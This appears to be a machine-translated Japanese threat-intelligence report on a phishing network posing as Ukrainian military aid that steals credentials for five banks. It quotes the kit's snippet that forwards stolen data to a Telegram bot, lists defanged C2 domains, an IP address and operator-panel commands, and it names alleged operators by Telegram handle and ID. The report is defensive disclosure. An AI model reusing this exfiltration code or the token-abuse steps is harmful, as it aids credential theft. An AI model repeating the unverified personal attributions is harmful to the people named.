軍事支援を装ったフィッシングネットワークが発覚： 5つの銀行が標的となり、犯人が特定された

PhishDestroyが発見したこと

2026年3月20日、PhishDestroyの自動脅威検知Pipelineが警告を発した dopomogvoina[.]sbs — 登録されたばかりのドメインで、某サイトを装ったフィッシングサイトがホストされており、 「守護者の盾」 （「Shield of the Defender」）：ウクライナへの軍事支援を装った偽の財団。このサイトは、ウクライナの退役軍人、戦傷者、戦没兵士の遺族を標的とし、政府からの経済支援を約束する一方で、ウクライナの大手銀行5行の銀行認証情報を盗み出している。

以下に、当社の自動分析によって明らかになったすべての情報を詳細に解説します。具体的には、ソーシャルエンジニアリング、技術的インフラ、リアルタイムのオペレーター制御システム、そしてこれを運営している人物の身元などです。

第1節：おとり――偽の軍事援助財団

ドメイン dopomogvoina[.]sbs 2026年3月20日に、以下の手続きを通じて登録されました。 NiceNICインターナショナル・グループ株式会社、虐待への対応が遅い、あるいは全く行われていないという実績が広く知られている登録機関である。その .sbs TLD（Side-By-Side）は、使い捨てのフィッシングインフラとして頻繁に悪用される、低コストのgTLDです。

このサイトは、政府と密接な関係にある専門的な支援ポータルサイトとして自らを位置づけている。ヘッダーにはウクライナの国旗が大きく掲げられ、軍事的なイメージが信頼性を醸し出しており、ページの内容はウクライナ語で丁寧に書かれており、その官僚的な表現は、正規の政府プログラムを彷彿とさせるものである。

スクリーンショット 5 — 「Щит Захисника」（Shield of the Defender）を装ったフィッシングサイトのランディングページ。

信頼性を高めるため、運営側はランディングページに目立つように表示された統計カウンターを偽造した：

• 2,847件の申請 — つまり、すでに数千人が支援を受けていることを示唆している
• 4,720万ペソが分配された — UAHにおける、大柄だが現実味のある人物
• 19のプログラム — 包括的で、複数のプログラムにわたる取り組みを示唆している

これらの数値は完全に捏造されたものであり、バックエンドとの接続なしにページのソースコードにハードコーディングされています。これらが果たす役割はただ一つ、被害者の躊躇を打ち消すための「社会的証明」として機能することです。

第2章：罠 ― 5つの銀行、ひとつの目標

「Подати заявку」（申請を送信）をクリックすると、被害者には銀行選択画面が表示されます。ウクライナの大手リテール銀行5行が選択肢として表示され、それぞれが公式のブランド名とロゴを掲げています。ここで、ソーシャルエンジニアリングの手口は、感情的な操作から技術的な窃取へと移行します。

スクリーンショット 6 — 銀行選択画面。各オプションを選択すると、それぞれ独自の認証情報窃取の手順が実行される。

このサイトのJavaScriptバンドルを分析したところ、各銀行には 独自の多段階型認証情報収集手順、その銀行の実際の認証フローに合わせて調整されたもの：

どの銀行においても、攻撃の流れは同じパターンに従っています：

スクリーンショット 7 — 複製されたPrivatBankのログイン画面。

スクリーンショット 9 — 複製された PUMB ログイン画面。

スクリーンショット 10 — 攻撃の全流れ：偽の軍事支援ページから銀行の選択、認証情報の窃取、そしてアカウント乗っ取りに至るまで。

技術スタック： React SPA フロントエンドは以下を通じて提供されます Cloudflare CDN、そして Express.js バックエンドでは認証情報の流出を処理している。Reactのアーキテクチャにより、正規の銀行インターフェースと見分けがつかないような、シームレスな多段階フォームを実現している。

第3節：オペレータによるリアルタイム制御

これは、静的なデータベースを持つ単なる認証情報収集ツールではありません。このフィッシングキットには、 ライブWebSocketコントロールパネル これにより、人間のオペレーターが各被害者のセッションをリアルタイムで操作できるようになる。

WebSocketエンドポイントは wss://dopomogvoina[.]sbs/ws 以下のメッセージタイプに対応しています：

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

このリアルタイム制御により、オペレーターは以下のことが可能になります：

• 待機状態を強制する — 被害者の実際の銀行口座にログインしている間、「申請を処理中です…」と表示する
• 特定のステップにリダイレクトする — 最初のSMSコードの有効期限が切れた場合は、再度コードをリクエストする
• 偽のエラーメッセージを表示する — 「コードが無効です。再入力してください」というメッセージを利用して、複数の2FAトークンを収集する
• カスタム質問をする — セッションの途中で、生年月日、カード番号、またはその他の追加情報を要求する

スクリーンショット 8 — 認証情報の盗用を仕掛けるために使用された電話番号入力フォーム。

スクリーンショット 11 — 被害者のセッションを制御するための、オペレーター用のリアルタイムボットパネル。

1回のセッションごとに盗まれたデータの全範囲： phone, password, PIN, SMS code, card number, date of birth、および email.

第4章：Cloudflareの舞台裏 ― 2つのプロジェクト、1台のサーバー

Cloudflareのプロキシ機能によりオリジンサーバーは隠されていますが、PhishDestroyのインフラ分析Pipelineによって、真のオリジンIPが特定されました： 45.131.214[.]148、ホスト先： RapidSeedbox / LeaseWeb オランダで。

重要な点： dopomogvoina[.]sbs は、以下を介してプロキシ処理されます Cloudflare、その発信元IPを隠蔽しています。しかし、当社のシステムでは、 hlpforvpeople[.]sbs — 同じNiceNICレジストラを通じて登録され、パターンが一致する関連ドメイン。そのドメインは Cloudflareの「背後」ではない, その発信元IPアドレスを直接公開して： 45.131.214[.]148.

このIPアドレスに直接接続する — 経由せずに Host ヘッダー — 予想外のことを明らかにした：ある まったく別のフィッシングサイト. ウクライナへの軍事支援の代わりに、デフォルトのvhostが提供された 「ヘルスケアID」、インドネシアの健康保険を装ったフィッシング詐欺。サーバーは同じだが、被害者は全く異なり、国も全く異なる。

スクリーンショット 12 — 同じオリジンサーバーを共有する 2 つの並行したフィッシング攻撃：ウクライナの軍事支援（dopomogvoina）とインドネシアの健康保険（HealthCare ID）。

インドネシアのフィッシングテンプレートは、 PhishDestroyの脅威インテリジェンスデータベースに登録されている既知のキット. 東南アジア全域で、このテンプレートのバリエーションが、インドネシア、タイ、ベトナムの金融機関を標的として展開されているのを確認しています。攻撃者は、同じバックエンドインフラを再利用しつつ、国ごとにテンプレートを差し替えるだけなのです。

第5章：すべてを露呈させてしまった config.json

たった1つの設定ミスが、どのようにして業務全体を混乱に陥れたのか――その経緯を段階を追って解説します。

オリジンサーバーの2つ目のプロジェクトを特定した後、PhishDestroyの JSアナライザー — 当社の自動化されたJavaScript分析ツール — は、インドネシアのフィッシングサイトのバンドルを https://45.131.214[.]148/assets/index-ZMQxHb_h.js。このアナライザーは、335KBのJavaScriptファイルから、すべてのAPIエンドポイント、外部URL、および設定パスを抽出しました。その結果、以下の点が判明しました：

• にある5つのAPIエンドポイント rezervtemka[.]cc — 資格情報の検証用 C2 パネル
• へのWebSocket接続 wss://rezervtemka[.]cc
• 被害者の追跡のためのFacebookピクセルの導入
• ～への言及 /config.json — Telegramボットの設定用に実行時に読み込まれる

この手がかりをたどって、私たちは /config.json 送信元IPから。このファイルは認証なしでアクセス可能でした。ウェブルートに置かれており、誰でも読み取ることができました：

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

その /config.json そのファイルは、元のIPアドレスから直接アクセス可能だった — 認証もアクセス制御もなく、単にWebルートに置かれたプレーンなJSONファイルがあるだけ:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Telegramのボットトークンは、ユーザー名とパスワードの両方の役割を果たします。このトークンを所持している者は誰でも、そのボットとしてAPI呼び出しを行うことができます。運営者は、自分たちのトークンを誰でもアクセスできるファイルに保存したままにしていました。 6回のAPI呼び出しを経て、必要な情報はすべて揃いました：

スクリーンショット 13 — OSINTの完全なプロセス：公開されたconfig.jsonから、わずか6回のAPI呼び出しでオペレーターの身元を特定するまで。

設定ミスのあったたった1つのファイルから、わずか6回のHTTPリクエストで運営者の身元を完全に特定できた。エクスプロイトも不正アクセスも一切なく、運営者自身が公開していたトークンを使用した、標準的なTelegram Bot APIの呼び出しだけで実現した。

第6節：オペレーター

スクリーンショット 14 — リークされたボットトークンを通じて明らかになった、Telegramのオペレーターグループ「Idr card」。

オーナー／クリエイター

モネッティ・エスコバル

@monettiescobar

Telegram ID：8135223234

Telegram Premium、ビジネスプロフィール

タイムゾーン：UTC+3（CIS地域）

公開メッセージ10件 — 厳格なOPSEC

TraFFeeQ チャットメデューサ Google Adsディープフェイクチャンネル

オペレーター／交通管制

ボニャ

@BoaCC159

Telegram ID：6242202706

別名：PapaZakonVor、Boa、bubullikk

12のグループにまたがる261件のメッセージ

DC2 — アムステルダム（オランダ）

CryptoGrabSTYXマーケットレイヴンCCEMPIRE CHATフェニックス・ソリューション

開発者／プログラマー

デヴォイズ

@devosus

Telegram ID：8213612730

フィッシングキットの開発者 — 運営者たちは彼を「コーダー」と呼んでいる

侵害が発見された際、「防御策について考える」よう求められた

設計上、公共空間への影響を最小限に抑える

ハンドル @devosus ≈ 「dev ops us」 — ユーザー名として役職名を使用

キット開発者インフラセキュリティ

モネッティ・エスコバル — ザ・ボス

MONETTIは厳格な業務上のセキュリティを維持しており、唯一 公開メッセージ 10件 2つのグループにまたがって。しかし、そのグループがすべてを物語っている： TraFFeeQ チャット （詐欺を目的としたトラフィック・アービトラージ）、 メデューサ Google Ads （ブラックハットなGoogle Ads）、および ディープフェイクチャンネル. 彼のTelegramのビジネスプロフィールには「Есть предложение」（「提案がある」) — サービスを公然と宣伝している。UTC+3のタイムゾーン（モスクワ／ミンスク／キエフと同じ）と24時間365日の営業時間は、CISを拠点とし、24時間体制で運営されていることを裏付けている。

ボニャ — うっかり者

MONETTIの慎重なOPSECとは異なり、ボニャ（旧別名： パパ・ザコン・ヴォル — ざっくり言えば「DaddyThiefByLaw」 — は、膨大なデジタル上の痕跡を残した — 12の地下グループにまたがる261件のメッセージ。彼のチャット履歴は、まるで犯罪者の経歴書のように読める：

彼が所属しているグループを見れば、その全貌が明らかになる： CryptoGrab （暗号資産ウォレットの資金を吸い取る者たち）、 STYXマーケット （盗まれたデータを扱う闇市場）、 Raven CC チェッカー （クレジットカードの有効性確認ツール）、 EMPIRE CHAT そして フェニックス・ソリューション （詐欺の共謀）。これは単発の犯行ではなく、サイバー犯罪のエコシステムに深く関与している人物である。

Devoys — 開発者

作戦の技術的な中核を担う存在。設計上、外部への露出を最小限に抑えていた――グループが突破された際、ボニャは彼に明確に呼びかけた： 「@devosus、俺たちがボコボコにされる前に、防御策を考えておけ」 — 「@devosus、やられる前に防御のことを考えようよ。」 この違反に対する彼の皮肉な反応―― 「インターポールに加入したとき」 (「いつ補間を行うか」) — これによると、彼らにとってこれが初めての危機一髪だったわけではないようだ。

行動分析：261件のメッセージを解読

PhishDestroyのOSINTPipelineによって収集・翻訳された 公開メッセージ全261件 Bonyaから、12の地下Telegramグループにまたがるメッセージ（2024年6月～2026年3月）。DeepL APIによる機械翻訳を行い、文脈に応じて手動で修正を加えた。これらのメッセージからは、犯罪活動の種類ごとに以下に分類された、完全な活動実態が明らかになっている。

銀行詐欺とフィッシング

マネーミュールとキャッシュアウト

トラフィック不正および広告の悪用

モネッティ・エスコバル：沈黙のボス

ボニャの261件のメッセージとは対照的に、MONETTIのメッセージはわずか 公開メッセージ 10件 — すべてが1つのスレッドにまとめられていて TraFFeeQ チャット （ブラックハットADS/SEOトラフィック・アービトラージ）、同僚を擁護して：

MONETTIのTelegramグループには、その詳細が書かれています： メデューサ Google Ads （ブラックハットPPC詐欺）、a ディープフェイクチャンネル （詐欺用の合成メディア）、および マーロボ・チャット （非公開、不明）。Telegram Premiumのサブスクリプション、24時間365日の営業時間、および「Есть предложение」（「提案がある」）その経歴からは、サイバー犯罪を本業として取り組んでいる人物像が浮かび上がる。

スクリーンショット 2 — MONETTIのTelegramプロフィール。

スクリーンショット 3 — ボニャのプロフィール。DC2（アムステルダム）に注目。

第7章：パニック・ルーム

PhishDestroyが公開されていたTelegramボットを通じてオペレーターグループにアクセスした後、次のようなやり取りが行われた。以下のチャットログは英語に翻訳されており、元のロシア語はイタリック体で残されている。アクセスに使用された身元情報は伏せられている。

そのグループは数分以内に削除された。ボニャの別れの挨拶である「+」と、デヴォイズの「うん」という返事が、すべてを物語っている： 彼らは自分たちの正体が露見したことを知っており、残された手段は証拠を隠滅することだけだった。 しかし、その時点では、データはすでに収集済みだった。

ボニャの示唆に富む発言に注目： 「ウクライナのボットからも攻撃を受けた」 — 両プロジェクト（ウクライナとインドネシア）は同じ運営チームによって運営されており、彼らのインフラが侵害されたのは今回が初めてではないことが確認された。

第8節：これが示すこと

調査の経緯

関連ドメイン

我々の分析により、2つ目のドメインが特定された―― hlpforvpeople[.]sbs — 同じレジストラを通じて登録され、インフラストラクチャのパターンも一致しています。両方のドメインは、当社のデータベースに記録されています：

• PhishDestroy レポート：dopomogvoina[.]sbs
• PhishDestroy レポート：hlpforvpeople[.]sbs

主なポイント

• 時代の流れについていくには、自動化が唯一の手段です。 フィッシングキットは、わずか数時間で展開され、攻撃ツールとして悪用されます。手作業による検証では、そのスピードに対応しきれないのです。
• オペレーターもミスを犯すものです。 あるサブプロジェクトで設定ファイルが流出したことがきっかけとなり、多国間にわたるフィッシング詐欺の全容が明らかになった。すべてのプロジェクトにおいて完璧なOPSECを維持し続けることは難しい。
• ソーシャルエンジニアリングは、ニュースの動向に合わせて変化していく。 戦争、人道支援、政府の支援プログラムは、苦境に立たされ、その正当性を疑う余地が少ない人々を標的とするため、フィッシング詐欺の餌としてますます悪用されるようになっている。
• インフラの再利用は当たり前となっている。 1台のサーバー、2つのフィッシングプロジェクト、2カ国、そして同じ運営者。インフラのつながりを可視化することで、単一のドメインを単独で分析するよりもはるかに多くのことが明らかになる。

免責事項： 本調査は、完全にパッシブな偵察および公開APIを通じて実施されました。いかなるシステムに対しても不正アクセスは行われていません。Telegram Bot APIへの呼び出しには、運営者が認証不要のエンドポイントで公開していたトークンを使用しました。本記事に記載されているすべてのドメイン名は、情報セキュリティの標準的な慣例に従い、特定できないように処理されています。